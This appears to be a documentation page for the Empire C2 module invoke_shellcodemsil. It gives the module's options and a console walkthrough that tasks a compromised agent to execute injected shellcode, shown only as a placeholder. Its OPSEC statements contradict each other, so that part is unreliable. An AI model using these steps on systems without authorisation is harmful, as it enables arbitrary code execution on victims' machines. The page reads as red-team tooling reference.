Invoke-ShellcodeMSIL - Empire Module


This page contains detailed information about how to use the powershell/code_execution/invoke_shellcodemsil Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-ShellcodeMSIL
Module: powershell/code_execution/invoke_shellcodemsil
Source code [1]: empire/server/modules/powershell/code_execution/invoke_shellcodemsil.yaml
Source code [2]: empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py
MITRE ATT&CK: T1064
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No

The invoke_shellcodemsil module executes shellcode within the context of the running PowerShell process without making any Win32 function calls. Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!Note: Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the invoke_shellcodemsil module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the invoke_shellcodemsil module:

Agent
Agent to run module on.

Shellcode
Shellcode to inject, 0x00,0x0a,... format.

Invoke_shellcodemsil Example Usage

Here's an example of how to use the invoke_shellcodemsil module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/code_execution/invoke_shellcodemsil

 Author       @mattifestation                                                        
 Background   False                                                                  
 Comments     http://www.exploit-monday.com                                          
              https://github.com/mattifestation/PowerSploit/blob/master/CodeExecutio 
              n/Invoke-ShellcodeMSIL.ps1                                             
 Description  Execute shellcode within the context of the running PowerShell process 
              without making any Win32 function calls. Warning: This script has no   
              way to validate that your shellcode is 32 vs. 64-bit!Note: Your        
              shellcode must end in a ret (0xC3) and maintain proper stack alignment 
              or PowerShell will crash!                                              
 Language     powershell                                                             
 Name         powershell/code_execution/invoke_shellcodemsil                         
 NeedsAdmin   False                                                                  
 OpsecSafe    True                                                                   
 Techniques   http://attack.mitre.org/techniques/T1064                               


,Record Options-----,----------,------------------------------------,
| Name      | Value | Required | Description                        |
|-----------|-------|----------|------------------------------------|
| Agent     |       | True     | Agent to run module on.            |
|-----------|-------|----------|------------------------------------|
| Shellcode |       | True     | Shellcode to inject, 0x00,0x0a,... |
|           |       |          | format.                            |
'-----------'-------'----------'------------------------------------'

(Empire: usemodule/powershell/code_execution/invoke_shellcodemsil) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/code_execution/invoke_shellcodemsil) > set Shellcode ..shellcode..
[*] Set Shellcode to ..shellcode..
(Empire: usemodule/powershell/code_execution/invoke_shellcodemsil) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.